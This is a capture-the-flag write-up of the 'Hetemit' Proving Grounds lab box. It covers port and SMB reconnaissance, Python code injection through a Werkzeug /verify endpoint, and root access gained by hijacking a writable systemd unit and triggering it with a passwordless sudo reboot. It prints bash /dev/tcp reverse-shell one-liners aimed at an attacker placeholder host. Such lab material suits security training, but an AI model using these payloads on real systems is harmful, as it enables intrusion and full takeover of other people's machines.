# Hetemit Writeup - Proving Grounds

> Intermediate Linux box where a Werkzeug API's /verify endpoint evaluates raw Python for a shell as cmeeks, then a writable systemd service file combined with a passwordless sudo reboot rule respawns that shell as root.

- **URL:** https://hackindex.io/writeups/hetemit
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** command-injection, privilege-escalation, sudo-misconfiguration, service-hijacking
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Hetemit exposes a Werkzeug API on a high port whose `/verify` endpoint evaluates attacker-supplied Python code directly, giving a shell as `cmeeks`. From there, write access to a systemd service unit combined with a passwordless `reboot` rule lets that shell respawn as root on restart.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
# PORT      STATE SERVICE VERSION
# 21/tcp    open  ftp     vsftpd 3.0.3
# 22/tcp    open  ssh     OpenSSH 8.0
# 80/tcp    open  http    Apache 2.4.37 ((CentOS) default page)
# 139/tcp   open  netbios-ssn Samba 4.6.2
# 445/tcp   open  netbios-ssn Samba 4.6.2
# 18000/tcp open  http    Rails app "Protomba"
# 50000/tcp open  http    Werkzeug 1.0.1 (Python 3.6.8)
```

FTP allows anonymous login but holds nothing useful, and port 80 is a default CentOS page. The two interesting services are a Rails app on 18000 that needs an invite code, and a Werkzeug API on 50000.

### SMB

Anonymous SMB access reveals a share name that leaks a username.

```bash
smbclient -L //$TARGET_IP -N
# Sharename       Type      Comment
# ---------       ----      -------
# Cmeeks          Disk
```

The share name `Cmeeks` leaks the username `cmeeks`, though the share itself holds nothing useful.

## Enumeration

### Werkzeug API on port 50000

The API exposes two endpoints: `/generate`, which creates invite codes for the Rails app on 18000, and `/verify`.

```bash
curl -X POST http://$TARGET_IP:50000/verify --data "code=2*2"
# 4
```

`/verify` evaluates the `code` parameter as raw Python. Confirm the `os` module is reachable.

```bash
curl -X POST http://$TARGET_IP:50000/verify --data "code=os"
# <module 'os' from '/usr/lib/python3.6/os.py'>
```

## Exploitation

### Python code injection on /verify

Call `os.system()` through the evaluated code to pop a reverse shell. Start a listener first.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
curl -X POST http://$TARGET_IP:50000/verify --data "code=os.system('bash -c\"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\"')"
```

The listener catches a shell as `cmeeks`. Stabilize it.

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
# cmeeks@hetemit:~$
```

## Privilege Escalation

### Writable systemd service

Check sudo rights and run linpeas for quick wins.

```bash
sudo -l
# User cmeeks may run the following commands on hetemit:
#     (ALL) NOPASSWD: /sbin/reboot
```

`cmeeks` can reboot the box as root with no password. linpeas flags a writable systemd unit.

```bash
cat /etc/systemd/system/pythonapp.service
# [Service]
# User=cmeeks
# ExecStart=/usr/bin/python3 /opt/pythonapp/app.py
# Restart=always
# RestartSec=3
```

The unit is writable by `cmeeks` and runs on boot. Point `ExecStart` at a reverse shell script and run it as root.

```bash
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
```

Write that to `/tmp/shell.sh`, make it executable, and edit the unit so it runs as root and keeps restarting.

```
[Service]
User=root
ExecStart=/tmp/shell.sh
Restart=always
RestartSec=3
```

Start a listener, then trigger the sudo reboot.

```bash
sudo /sbin/reboot
```

The service respawns on boot as root and fires the reverse shell straight into the listener.

Related
